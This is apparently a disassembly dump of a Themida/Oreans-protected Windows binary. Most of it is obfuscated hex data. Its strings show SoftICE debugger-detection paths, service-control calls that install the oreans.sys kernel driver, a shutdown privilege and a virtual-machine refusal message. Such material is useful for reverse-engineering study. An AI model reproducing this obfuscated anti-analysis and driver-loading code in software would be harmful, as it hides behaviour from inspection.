		dd 5005ECD8h, 0D914B5FFh, 95FF05ECh, 5EA0135h, 0D914B5FFh
		dd 95FF05ECh, 5ECD920h,	0D914B5FFh, 95FF05ECh, 5EA3051h
		dd 85BD83C3h, 5EA2Bh, 0B840Fh, 9D8B0000h, 5EA2B85h, 894CC383h
		dd 0BD83C303h, 5EA2B85h, 0B840F00h, 8B000000h, 0EA2B859Dh
		dd 50C38305h, 83C30389h, 0EA2B85BDh, 840F0005h,	0Bh, 2B859D8Bh
		dd 0C38305EAh, 0C3038954h, 2B85BD83h, 0F0005EAh, 0B84h
		dd 859D8B00h, 8305EA2Bh, 38958C3h, 85BD83C3h, 5EA2Bh, 0B840Fh
		dd 9D8B0000h, 5EA2B85h,	895CC383h, 60C3C303h, 0D9188589h
		dd 858D05ECh, 5ECD914h,	7E858D50h, 5005ECD8h, 168h, 2495FF80h
		dd 6A05ECD9h, 18858D04h, 5005ECD9h, 6A046Ah, 0D90F858Dh
		dd 0FF5005ECh, 0ECD914B5h, 3595FF05h, 8305EA01h, 0EA13D9BDh
		dd 840F0005h, 0Ch, 0D914B5FFh, 95FF05ECh, 5ECD920h, 0D914B5FFh
		dd 95FF05ECh, 5EA3051h,	8960C361h, 0ECD91885h, 14858D05h
		dd 5005ECD9h, 0D87E858Dh, 685005ECh, 80000001h,	0D92495FFh
		dd 46A05ECh, 0D918858Dh, 6A5005ECh, 8D006A04h, 0ECD8F185h
		dd 0B5FF5005h, 5ECD914h, 13595FFh, 0BD8305EAh, 5EA13D9h
		dd 0C840F00h, 0FF000000h, 0ECD914B5h, 2095FF05h, 0FF05ECD9h
		dd 0ECD914B5h, 5195FF05h, 6105EA30h, 858960C3h,	5ECD918h
		dd 0D914858Dh, 8D5005ECh, 0ECD87E85h, 1685005h,	0FF800000h
		dd 0ECD92495h, 8D046A05h, 0ECD91885h, 46A5005h,	858D006Ah
		dd 5ECD8F8h, 14B5FF50h,	0FF05ECD9h, 0EA013595h,	0D9BD8305h
		dd 5EA13h, 0C840Fh, 0B5FF0000h,	5ECD914h, 0D92095FFh, 0B5FF05ECh
		dd 5ECD914h, 305195FFh,	0C36105EAh, 18858960h, 8D05ECD9h
		dd 0ECD91485h, 858D5005h, 5ECD87Eh, 16850h, 95FF8000h
		dd 5ECD924h, 858D046Ah,	5ECD918h, 6A046A50h, 858D00h, 5005ECD9h
		dd 0D914B5FFh, 95FF05ECh, 5EA0135h, 13D9BD83h, 0F0005EAh
		dd 0C84h, 14B5FF00h, 0FF05ECD9h, 0ECD92095h, 14B5FF05h
		dd 0FF05ECD9h, 0EA305195h, 60C36105h, 0D9188589h, 858D05ECh
		dd 5ECD914h, 7E858D50h,	5005ECD8h, 168h, 2495FF80h, 6A05ECD9h
		dd 18858D04h, 5005ECD9h, 6A046Ah, 0D907858Dh, 0FF5005ECh
		dd 0ECD914B5h, 3595FF05h, 8305EA01h, 0EA13D9BDh, 840F0005h
		dd 0Ch,	0D914B5FFh, 95FF05ECh, 5ECD920h, 0D914B5FFh, 95FF05ECh
		dd 5EA3051h, 0C760C361h, 0ECD91885h, 105h, 14858D00h, 5005ECD9h
		dd 0D87E858Dh, 685005ECh, 80000002h, 0D92495FFh, 0C00B05ECh
		dd 0F840Fh, 85C70000h, 5ECD918h, 0
		dd 4DE9h, 8D046A00h, 0ECD91885h, 46A5005h, 858D006Ah, 5ECD892h
		dd 14B5FF50h, 0FF05ECD9h, 0EA013595h, 0FC00B05h, 0F84h
		dd 1885C700h, 5ECD9h, 0E9000000h, 0Ah, 0D91885C7h, 105ECh
		dd 0B5FF0000h, 5ECD914h, 305195FFh, 8B6105EAh, 0ECD91885h
		dd 8960C305h, 0ECD91885h, 14858D05h, 5005ECD9h,	0D87E858Dh
		dd 685005ECh, 80000001h, 0D92495FFh, 46A05ECh, 0D918858Dh
		dd 6A5005ECh, 8D006A04h, 0ECD89285h, 0B5FF5005h, 5ECD914h
		dd 13595FFh, 0BD8305EAh, 5EA13D9h, 0C840F00h, 0FF000000h
		dd 0ECD914B5h, 2095FF05h, 0FF05ECD9h, 0ECD914B5h, 5195FF05h
		dd 6105EA30h, 858960C3h, 5ECD918h, 0D914858Dh, 8D5005ECh
		dd 0ECD87E85h, 1685005h, 0FF800000h, 0ECD92495h, 8D046A05h
		dd 0ECD91885h, 46A5005h, 858D006Ah, 5ECD8A4h, 14B5FF50h
		dd 0FF05ECD9h, 0EA013595h, 0D9BD8305h, 5EA13h, 0C840Fh
		dd 0B5FF0000h, 5ECD914h, 0D92095FFh, 0B5FF05ECh, 5ECD914h
		dd 305195FFh, 0C36105EAh, 1A4585C6h, 685205EAh,	0ADE47B07h
		dd 2B19B5FFh, 95FF05EAh, 5EA035Dh, 0D9248589h, 85C605ECh
		dd 5EA1A45h, 0E56852h, 0B5FF902Eh, 5EA2B19h, 35D95FFh
		dd 858905EAh, 5ECD920h,	1A4585C6h, 685205EAh, 0B9BF1235h
		dd 2B19B5FFh, 95FF05EAh, 5EA035Dh, 1358589h, 85C605EAh
		dd 5EA1A45h, 10346852h,	0B5FF9878h, 5EA2B19h, 35D95FFh
		dd 858905EAh, 5EA3051h,	1A4585C6h, 685205EAh, 0C005DBD4h
		dd 2B19B5FFh, 95FF05EAh, 5EA035Dh, 13CD8589h, 0FE805EAh
		dd 66000000h, 1170B245h, 998D13E0h, 9B169B10h, 0BE58C62Ch
		dd 646545D2h, 75A2C081h, 8A0F0000h, 0Dh, 8E9h, 0EFA7E300h
		dd 68122787h, 0EC7EBB0Ch, 0EB8131F7h, 31F7CF44h, 820Fh
		dd 108B0000h, 0C281C88Bh, 369F4236h, 0D8CF99BFh, 24EA8177h
		dd 6611873Fh, 0EBD9F681h, 93B6F281h, 0B70F7662h, 595352F3h
		dd 8A60008Fh, 61C58AD1h, 8104E883h, 1EBh, 17850F00h, 0E9000000h
		dd 3Dh,	5C375724h, 5EE2C54Ch, 0CBD6C508h, 55E1EC52h, 12E817CAh
		dd 6E000000h, 0D30E9EABh, 0F896D8C9h, 315DADA8h, 51ECA2B8h
		dd 5EFE8B8Dh, 0FFFF8DE9h, 3C5372FFh, 0FC5B7574h, 0C45CEFF6h
		dd 5C1EEBAAh, 535C2E5Ch, 454349h, 5C2E5C5Ch, 56574953h
		dd 5C004449h, 4E5C2E5Ch, 45434954h, 29C08B00h, 0EA292995h
		dd 0D9BD8305h, 5EA13h, 0BD830975h, 5EA2EE5h, 50197400h
		dd 0B8C08B53h, 40Fh, 0D798589h,	9D8D05EAh, 5ECDDF5h, 585BD3FFh
		dd 2EE5BD83h, 740005EAh, 0B8535017h, 40Fh, 0D798589h, 9D8D05EAh
		dd 5ECDAE4h, 585BD3FFh,	0B39FBF66h, 58589h, 0C08B05EAh
		dd 10E9h, 51760400h, 0E9B68D7h,	657914C6h, 9215E8E8h, 4585C6ADh
		dd 4305EA1Ah, 0B918D89h, 4E805EAh, 0FC000000h, 50BC8E6Eh
		dd 5E950h, 0CD990000h, 59A979D0h, 0B9665059h, 448B1DD0h
		dd 0C2BA0424h, 8B76A8D4h, 0C38A6000h, 24448961h, 0E8525004h
		dd 7, 0D9B773AFh, 0E909EA93h, 0Ch, 0E2C6B49Fh, 62F50AA1h
		dd 0E488CEDFh, 0F310F5Eh, 283h,	5A616000h, 6A5858h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 535050C3h, 36C4689Ah, 0E92AB869h, 7,	1C018A8Ch, 0FFCD984Eh
		dd 0EA1D45B5h, 4E2CBA05h, 13BF2879h, 8D1D31CDh,	0EA396985h
		dd 758D8905h, 0FF05EA00h, 0D9B58BD0h, 5005EA2Bh, 0A941BF60h
		dd 28B90583h, 616B368Bh, 81240489h, 698CDAEAh, 0D5B58B2Bh
		dd 6A05EA23h, 0D1B58900h, 0E805EA1Dh, 4, 80h, 0BA50CE8Bh
		dd 14832AB0h, 424448Bh,	7E9008Bh, 0E000000h, 497B541Fh
		dd 44890847h, 6A580424h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 8E57C351h, 8B50036Ah
		dd 0EA1285BDh, 8E95E05h, 0EC000000h, 2E6A3F50h,	6A81B3F2h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 41B53B88h, 0DC6D70BEh, 2311BD89h, 36A05EAh
		dd 2A58D8Bh, 4E805EAh, 0
		dd 50C00000h, 9E852h, 0F7280000h, 290F435Dh, 66D5F3FFh
		dd 0F5FCA8Bh, 5AF18B31h, 0C0B55058h, 424448Bh, 0BE9h, 0F4D7CD00h
		dd 7FB5B131h, 6739D1DEh, 5160008Bh, 61594CB2h, 4244489h
		dd 10E960h, 5C0000h, 18F744Eh, 8889AB2Fh, 304FAC59h, 8A0F01CDh
		dd 4, 5A28BB66h, 8B575861h, 9D8D5ECBh, 5ECE01Eh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0F7C35646h, 255CDEF0h
		dd 0B67E54B4h, 0F8C0F02h, 0E9000000h, 0Ah, 7F973D3Eh, 0B3EFB340h
		dd 0BD33266Ch, 5EA2325h, 0E9525093h, 8,	986AF9C0h, 51AE5A69h
		dd 0AE9310Fh, 0F2000000h, 0FC57B3C8h, 5F3AF5D2h, 50585AD8h
		dd 11E8h, 49CFBD00h, 1554E23h, 6AA34FB5h, 0B750342Ah, 8B662DACh
		dd 609359FBh, 7E9h, 2DD9C900h, 839FFCD2h, 13E8h, 0BB20E300h
		dd 6FCC5412h, 0EE074E65h, 0FFD89853h, 3B6FC2E8h, 0D0FF615Eh
		dd 57D1B70Fh, 13E8h, 0B0850D00h, 0A5CC6A15h, 0E9396BD6h
		dd 0C25243Bh, 5CBA9A35h, 5A5F5953h, 0CD850F40h,	6A000002h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 8818C351h, 85894D9Eh, 5EA1001h, 68D0Fh, 95890000h
		dd 5EA1591h, 0F860F58h,	0E8000000h, 5, 9A0C3426h, 79BF660Bh
		dd 89505901h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 64A48BC3h, 8B0F94h, 6A000000h, 0CE900h
		dd 0EF00000h, 0BE64E68Dh, 0D52E173Dh, 8166E0B2h, 6869BAD6h
		dd 776A9BEEh, 38E0Fh, 8B660000h, 243481D0h, 776A9B6Eh
		dd 0C506BE66h, 0F1A7D981h, 36A6C99h, 8953006Ah,	0EA1E7D85h
		dd 958B5F05h, 5EA30CDh,	6A036Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0BD8B82C3h, 5EA0125h
		dd 4E8h, 0
		dd 8A0F52C0h, 2, 50595951h, 8BF98B66h, 0BA042444h, 0BB3664Ch
		dd 0E957008Bh, 6, 17A91476h, 895F0FFAh,	60042444h, 0F04ABA66h
		dd 0FB65250h, 880F310Fh, 0
aZxaxj		db 'ZXaXj',0
		dw 0E853h
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 36C35343h, 323BF0B9h
		dd 279D8D10h, 6A05ECE0h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 506FC356h, 11E9h, 3FD78E00h
		dd 22E4506Bh, 0ADE0EB51h, 0ACCEFB25h, 1C8942DAh, 0C880F24h
		dd 0F000000h, 68Dh, 71B58900h, 0BF05EA29h, 400AF7ADh, 8589D0FFh
		dd 5EA24BDh, 25850F40h,	8B000001h, 296058D1h, 0EA0069B5h
		dd 6810F05h, 81000000h,	4D2B7DEFh, 0B5906103h, 8B60503Ah
		dd 899061DAh, 0EA25E19Dh, 66006A05h, 0F2E781h, 228A0Fh
		dd 0AE80000h, 0A3000000h, 0A36620D8h, 0B68AEB73h, 0CE836h
		dd 0B9E90000h, 7BF01AB8h, 10747925h, 5E59CD6Ch,	0E3BAE768h
		dd 240481D7h, 281C4599h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 19h, 11C35242h, 487115B1h,	0F036AB9h, 68Fh
		dd 4DBD8900h, 6A05EA31h, 0CE8A5300h, 18A0F5Ah, 0F8000000h
		dd 9D89036Ah, 5EA0EC5h,	68D78B66h, 0B0410816h, 481CF8Bh
		dd 0BEF7EA24h, 7E90Fh, 59C90000h, 89590FF3h, 329D8DBEh
		dd 0F05ECE0h, 582h, 0AE45B900h,	0E8933D69h, 8, 8DAA9417h
		dd 67CBE14Ah, 0BE66505Ah, 0B193B605h, 0E9D0FF82h, 0Fh
		dd 2ED8F123h, 3CF504B0h, 3115F136h, 409673E0h, 1E850Fh
		dd 8D8B0000h, 5EA12C5h,	830F58h, 0E9000000h, 151h, 6880Fh
		dd 0C1810000h, 1328E6ECh, 6AD88Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 27F7D2C3h, 1164CF02h
		dd 60F08B4Bh, 1A359589h, 8D8905EAh, 5EA2C19h, 0BF665861h
		dd 6660FAE0h, 60756DBFh, 0E9CB8B66h, 7,	1C1F4658h, 615FE20Ch
		dd 4585C661h, 4305EA1Ah, 0BD5958Bh, 946805EAh, 66BBA54Ch
		dd 81C3C9BFh, 0FE132404h, 958904D0h, 5EA1329h, 1D45B5FFh
		dd 0B58B05EAh, 5EA2B39h, 3969858Dh, 6A05EAh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 821EF5C3h
		dd 7E459A2Eh, 2BC1B589h, 0D0FF05EAh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 0B2C35242h,	0AD6ED727h, 9D897E93h
		dd 5EA32B5h, 1DED8589h,	0F9305EAh, 85h,	6A935000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 0FBD8C352h, 85850933h, 0FF05EA15h, 9D9531D0h, 8D05EA2Ch
		dd 0EA70629Dh, 1B8F805h, 8B000000h, 6AE3FFCFh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 8B3AC350h, 0EA0F398Dh, 2BC18B05h, 0EA02518Dh, 0E9C08B05h
		dd 0Fh,	4F519E44h, 0CF3A850Fh, 6D21718Ch, 83E24CC3h, 0EA13D9BDh
		dd 9750005h, 2EE5BD83h,	740005EAh, 8B535019h, 40FB8C0h
		dd 85890000h, 5EA0769h,	0DE5C9D8Dh, 0D3FF05ECh,	0BD83585Bh
		dd 5EA2EE5h, 50177400h,	40FB853h, 85890000h, 5EA0769h
		dd 0DAFD9D8Dh, 0D3FF05ECh, 0ED80585Bh, 518D8BD0h, 6605EA2Ch
		dd 0C08BD08Bh, 20EE9h, 61433300h, 746F6E6Eh, 69727720h
		dd 6F206574h, 6E616572h, 78762E73h, 4D0D0A64h, 20656B61h
		dd 65727573h, 61687420h, 68742074h, 66207369h, 20656C69h
		dd 6E207369h, 6220746Fh, 676E6965h, 65737520h, 79622064h
		dd 6F6E6120h, 72656874h, 6F727020h, 6D617267h, 2Eh, 67h	dup(0)
		dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 0E9000000h, 0EFh, 1A4585C6h,	684705EAh, 0E3E45B86h
		dd 1D45B5FFh, 858D05EAh, 5EA3969h, 468D0FFh, 8D000001h
		dd 0EA1EFD9Dh, 0D0FF5305h, 0E8B58D50h, 8B05ECE9h, 0AEC032FEh
		dd 0FFF9850Fh, 0FE2BFFFFh, 8B58CF8Bh, 0F3F803FBh, 4585C6A4h
		dd 4305EA1Ah, 8E6EFC68h, 45B5FFBCh, 8D05EA1Dh, 0EA396985h
		dd 8DD0FF05h, 0EA1EFDB5h, 68006A05h, 80h, 6A026Ah, 68006Ah
		dd 56C00000h, 0D88BD0FFh, 1A4585C6h, 685705EAh,	0A69BEE56h
		dd 1D45B5FFh, 858D05EAh, 5EA3969h, 0BD8DD0FFh, 5EA00A5h
		dd 0EB0E8D8Dh, 6A05ECh,	37D06857h, 53510000h, 0C085D0FFh
		dd 1B850Fh, 0B58D0000h,	5ECE7F0h, 0D7DF858Dh, 0D0FF05ECh
		dd 70628D8Dh, 0B805EAh,	0FF000000h, 4585C6E1h, 4305EA1Ah
		dd 764AA768h, 45B5FFC0h, 8D05EA1Dh, 0EA396985h,	53D0FF05h
		dd 0B9C3D0FFh, 37D0h, 0E8h, 0C0835800h,	0E908890Eh, 2
		dd 0D0E9C38Bh, 4D000037h, 300905Ah, 4000000h, 0FF000000h
		dd 0B80000FFh, 0
		dd 40000000h, 8	dup(0)
		dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h
		dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh
		dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh
		dd 240A0D0Dh, 0
		dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h
		dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h
		dd 887376h, 0
		dd 4C000000h, 45h, 2000000h, 400h, 0
		dd 14000380h, 5	dup(0)
		dd 0C0000002h, 90000001h, 0
		dd 7E000000h, 0
		dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0)
		dd 2C000000h, 38000001h, 1, 0
		dd 42000000h, 96000001h, 0D2000001h, 1,	0D2000000h, 1
		dd 0
		dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0)
		dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h
		dd 444F43h, 100h, 200h,	300h, 400h, 500h, 600h,	700h, 800h
		dd 900h, 0A00h,	0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h
		dd 1100h, 1200h, 1300h,	8001400h, 4F525058h, 44585654h
		dd 1000000h, 3000103h, 2 dup(0)
		dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h
		dd 7005001h, 1019100h, 27279Bh,	276F0106h, 17D0179h, 1850181h
		dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh
		dd 27h,	360h dup(0)
		dd 1000004h, 58000000h,	544F5250h, 445856h, 800000h, 8 dup(0)
		dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h
		dd 527376h, 868h dup(0)
dword_572768	dd 15Bh	dup(0)		; DATA XREF: Themida_:00569B27o
		dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h
		dd 9 dup(0)
		dd 33C3C033h, 7E83C3C0h, 475000Ch, 1AEBC033h, 10C7E83h
		dd 58D1475h, 0
		dd 89187E8Bh, 2046C707h, 4, 0CC3C033h, 4F525058h, 44585654h
		dd 4244445Fh, 0E8000000h, 0Ch, 57C3FECDh, 8AE9764Ch, 0FD6DC3DCh
		dd 0F5E1EB5h, 0C681C7B7h, 71DCh, 68CA8Bh, 8B000000h, 0EA1E398Dh
		dd 0CA8B5B05h, 8B1E148Bh, 2EF281F8h, 6623601Ah,	1D28C981h
		dd 5457F281h, 8E963B8h,	0C2000000h, 0E419EB38h,	81765565h
		dd 454F91C2h, 0E98D8B0Ch, 8905EA2Ah, 0EE91E14h,	0A4000000h
		dd 63188692h, 0DC4C2564h, 0FAF8A8FDh, 5160608Ah, 0F08B615Bh
		dd 0B3EB8161h, 66521695h, 4B42EF81h, 95AFC381h,	8B525216h
		dd 0EA0E99BDh, 0FB815805h, 0FFFF8EC8h, 0FF8E850Fh, 9E9FFFFh
		dd 0F2000000h, 2776EC1h, 0D99F92FFh, 99E9h, 75622F00h
		dd 65686367h, 326B63h, 6775622Fh, 63656863h, 662F006Bh
		dd 6563726Fh, 6E7572h, 6775622Fh, 63656863h, 6C75666Bh
		dd 732F006Ch, 63776F68h, 65646Fh, 6F68732Fh, 646F6377h
		dd 2F003265h, 74726C63h, 69642F00h, 2F003173h, 776F6873h
		dd 74736E69h, 65636E61h, 65672F00h, 736C7774h, 75746174h
		dd 6C2F0073h, 7473676Fh, 73757461h, 75642F00h, 7473706Dh
		dd 73757461h, 0
		dd 68632F00h, 706B6365h, 65746F72h, 6F697463h, 6Eh, 0BD830000h
		dd 5ED2410h, 0A840F00h,	0C7000000h, 0EA2EE585h,	105h, 4585C600h
		dd 4705EA1Ah, 0C00CCA68h, 24048119h, 76AD5FC3h,	1D45B5FFh
		dd 858D05EAh, 5EA3969h,	0D0FFD0FFh, 3F80F88Bh, 22850F22h
		dd 47000000h, 0FAE22B0h, 0FFFFF985h, 3F80FFh, 31B840Fh
		dd 80470000h, 840F003Fh, 311h, 1EE9h, 3F8000h, 303840Fh
		dd 3F800000h, 6850F20h,	47000000h, 6E9h, 0E2E94700h, 80FFFFFFh
		dd 850F003Fh, 5, 2E0E9h, 1E900h, 80470000h, 840F203Fh
		dd 0FFFFFFF6h, 0F003F80h, 585h,	2C3E900h, 0AE80000h, 0E9000000h
		dd 0FFFFFFCBh, 2B4E9h, 90B58D00h, 0E805ED23h, 225h, 2425BD03h
		dd 0BD8305EDh, 5ED2425h, 0B840F00h, 0C7000000h,	0EA13D985h
		dd 105h, 0B58DC300h, 5ED239Bh, 1FCE8h, 25BD0300h, 8305ED24h
		dd 0ED2425BDh, 840F0005h, 0Bh, 2EE585C7h, 105EAh, 8DC30000h
		dd 0ED2414B5h, 1D3E805h, 0BD030000h, 5ED2425h, 2425BD83h
		dd 0F0005EDh, 0B84h, 1185C700h,	105EA0Dh, 0C3000000h, 23A5B58Dh
		dd 0AAE805EDh, 3000001h, 0ED2425BDh, 25BD8305h,	5ED24h
		dd 0B840Fh, 85C70000h, 5EA2EE5h, 1, 0AFB58DC3h,	0E805ED23h
		dd 181h, 2425BD03h, 0BD8305EDh,	5ED2425h, 15840F00h, 0C7000000h
		dd 0EA2EE585h, 105h, 0D985C700h, 105EA13h, 0C3000000h
		dd 23BDB58Dh, 4EE805EDh, 3000001h, 0ED2425BDh, 25BD8305h
		dd 5ED24h, 0A840Fh, 85C70000h, 5EA2F5Dh, 1, 23C7B58Dh
		dd 26E805EDh, 3000001h,	0ED2425BDh, 25BD8305h, 5ED24h
		dd 0A840Fh, 85C70000h, 5EA2F5Dh, 1, 23D2B58Dh, 0FEE805EDh
		dd 3000000h, 0ED2425BDh, 25BD8305h, 5ED24h, 0A840Fh, 85C70000h
		dd 5EA308Dh, 1,	23D8B58Dh, 0D6E805EDh, 3000000h, 0ED2425BDh
		dd 25BD8305h, 5ED24h, 0A840Fh, 85C70000h, 5EA1B19h, 1
		dd 23DEB58Dh, 0AEE805EDh, 3000000h, 0ED2425BDh,	25BD8305h
		dd 5ED24h, 0A840Fh, 85C70000h, 5EA1411h, 1, 23ECB58Dh
		dd 86E805EDh, 3000000h,	0ED2425BDh, 25BD8305h, 5ED24h
		dd 0A840Fh, 85C70000h, 5EA30EDh, 1, 23F9B58Dh, 5EE805EDh
		dd 3000000h, 0ED2425BDh, 25BD8305h, 5ED24h, 0A840Fh, 85C70000h
		dd 5EA2EF9h, 1,	2404B58Dh, 36E805EDh, 3000000h,	0ED2425BDh
		dd 25BD8305h, 5ED24h, 0A840Fh, 85C70000h, 5EA2CC5h, 1
		dd 1E9h, 3F804700h, 9840F20h, 80000000h, 850F003Fh, 0FFFFFFEDh
		dd 1B960C3h, 8B000000h,	1CE9DEh, 3F800000h, 2850F00h, 2B000000h
		dd 38178AC9h, 5840F16h,	0B9000000h, 0
aFga		db 'FG─>',0
		db 0Fh,	84h, 8
		dd 0B000000h, 0D3850FC9h, 0BFFFFFFh, 21840FC9h,	80000000h
		dd 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h, 0B9000000h
		dd 0
		dd 840FC90Bh, 0Dh, 0B589F32Bh, 5ED2425h, 0AE9h,	2585C700h
		dd 5ED24h, 61000000h, 0E9C88BC3h, 10A9h, 41564441h, 32334950h
		dd 4C4C442Eh, 65704F00h, 4D43536Eh, 67616E61h, 417265h
		dd 61657243h, 65536574h, 63697672h, 53004165h, 74726174h
		dd 76726553h, 41656369h, 74654700h, 6974614Eh, 79536576h
		dd 6D657473h, 6F666E49h, 65704F00h, 7265536Eh, 65636976h
		dd 65440041h, 6574656Ch, 76726553h, 656369h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 4300656Ch, 72746E6Fh
		dd 65536C6Fh, 63697672h, 65h, 7	dup(0)
		dd 726F0000h, 736E6165h, 732E3233h, 7379h, 0
		dd 6F000000h, 6E616572h, 34367873h, 7379732Eh, 2 dup(0)
		dd 65726F00h, 33736E61h, 5C5C0032h, 726F5C2Eh, 736E6165h
		dd 5C003233h, 475C2E5Ch, 61626F6Ch, 726F5C6Ch, 736E6165h
		dd 6F003233h, 6E616572h, 34367873h, 2E5C5C00h, 6F6C475Ch
		dd 5C6C6162h, 6165726Fh, 3678736Eh, 34h, 41h dup(0)
		dd 59530000h, 4D455453h, 544F4F52h, 5C732500h, 74737973h
		dd 32336D65h, 6972645Ch, 73726576h, 73255Ch, 735C7325h
		dd 6F777379h, 5C343677h, 76697264h, 5C737265h, 25007325h
		dd 79735C73h, 6D657473h, 645C3233h, 65766972h, 6F5C7372h
		dd 6E616572h, 2E323373h, 737973h, 49h dup(0)
a3cannotUpdateO	db '3Cannot Update oreans.sys driver. Please, make sure that you have'
		db 0Ah
		db 0Dh,'administrator',27h,'s permits the first time that you are going to '
		db 'run this program.',0
		align 4
		dd 59h dup(0)
a3cannotOpenOre	db '3Cannot open oreans.vxd driver. Make sure that oreans.vxd',0Ah
		db 0Dh,'is not open by another program.',0
		align 4
		dd 67h dup(0)
a3secureengineD	db '3SecureEngine driver cannot be updated because there are some pro'
		db 'grams using',0Ah
		db 0Dh,'it. You need to close those programs or restart your computer.',0Ah
		db 0Dh,'Restart now?',0
		align 4
		dd 0D9h	dup(0)
a_Oreans_vxd	db '\\.\Oreans.vxd',0
		align 10h
		dd 2 dup(0)
		dd 5C732500h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
		dd 72705800h, 7645746Fh, 746E65h, 0Bh dup(0)
aSeshutdownpr_0	db 'SeShutdownPrivilege',0
		align 10h
aCreateeventApi	db 'CreateEvent API Error while extraction the driver',0
aGetenvironment	db 'GetEnvironmentVariable API Error while extraction the driver',0
aOpenscmanagerA	db 'OpenSCManager API Error while extraction the driver',0
		db 43h
		dd 74616572h, 72655365h, 65636976h, 49504120h
		db 20h
aErrorWhileExtr	db 'Error while extraction the driver',0 ; DATA XREF: Themida_:0056BB49o
aCloseservice_0	db 'CloseServiceHandle API Error while extraction the driver',0
aOpenserviceApi	db 'OpenService API Error while extraction the driver',0
aStartserviceAp	db 'StartService API Error while extraction the driver',0
aApicErrorCanno	db 'APIC error: Cannot find Processors Control Blocks. Please,',0Ah
		db 0Dh,'contact info@oreans.com for this error',0
		dd 0
		dd 104h, 726F5333h, 202C7972h, 73696874h, 70706120h, 6163696Ch
		dd 6E6F6974h, 6E616320h, 20746F6Eh, 206E7572h, 65646E75h
		dd 20612072h, 74726956h, 206C6175h, 6863614Dh, 656E69h
		dd 70h dup(0)
		dd 1000h, 10000h, 7FFEFFFFh, 2 dup(1), 24Ah, 10000h, 408000Fh
		dd 9400h, 500h,	100h, 0A2800h, 200h, 21h dup(0)
		dd 29C48B00h, 0EA2041BDh, 51858905h, 6A05EA2Ah,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 0E0BEC351h, 4FC7C806h, 11E8C08Bh, 2F000000h,	0C4FA4AFCh
		dd 0FF88FFB8h, 3F127CD8h, 2F5A203Ch, 10E8h, 5FE63600h
		dd 51BB75D4h, 2C64BC22h, 843AB859h, 835A5A61h, 0EA13D9BDh
		dd 9750005h, 2EE5BD83h,	740005EAh, 8B535019h, 43DB8C0h
		dd 85890000h, 5EA0D79h,	0DDF59D8Dh, 0D3FF05ECh,	0BD83585Bh
		dd 5EA2EE5h, 50177400h,	43DB853h, 85890000h, 5EA0D79h
		dd 0DAE49D8Dh, 0D3FF05ECh, 6A585Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0AACB8EC3h
		dd 4E4BB99Ah, 6AA68Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 9AEA8AC3h, 89B6B379h, 0EA2BC98Dh
		dd 0E9C08B05h, 11h, 846FBDDh, 123B4FDDh, 19D31ED4h, 495425BCh
		dd 52C08B8Ah, 0E1958Bh,	0F5905EAh, 1B8Ch, 13E800h, 0C9F60000h
		dd 75201DC5h, 0B6AE793Fh, 0E05C2BF2h, 0A6DBD8F4h, 59FA8B03h
		dd 13D9BD83h, 750005EAh, 0E5BD8309h, 5EA2Eh, 53501374h
		dd 0B8C08Bh, 8D000000h,	0ECDC979Dh, 5BD3FF05h, 0E5BD8358h
		dd 5EA2Eh, 53501174h, 0B8h, 489D8D00h, 0FF05ECDBh, 8B585BD3h
		dd 0EA2D818Dh, 0AD8D8B05h, 8B05EA24h, 54C9B9C0h, 0C08B1F21h
		dd 5E8h, 52AE500h, 9D896CE6h, 5EA0C59h,	95896059h, 5EA255Dh
		dd 68F0Fh, 858B0000h, 5EA31B5h,	0D9BD8361h, 5EA13h, 0BD830975h
		dd 5EA2EE5h, 50137400h,	0B8C08B53h, 0
		dd 0DBC99D8Dh, 0D3FF05ECh, 0BD83585Bh, 5EA2EE5h, 50117400h
		dd 0B853h, 9D8D0000h, 5ECDB16h,	585BD3FFh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 66C35545h, 0C08BB64Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 7CC35343h
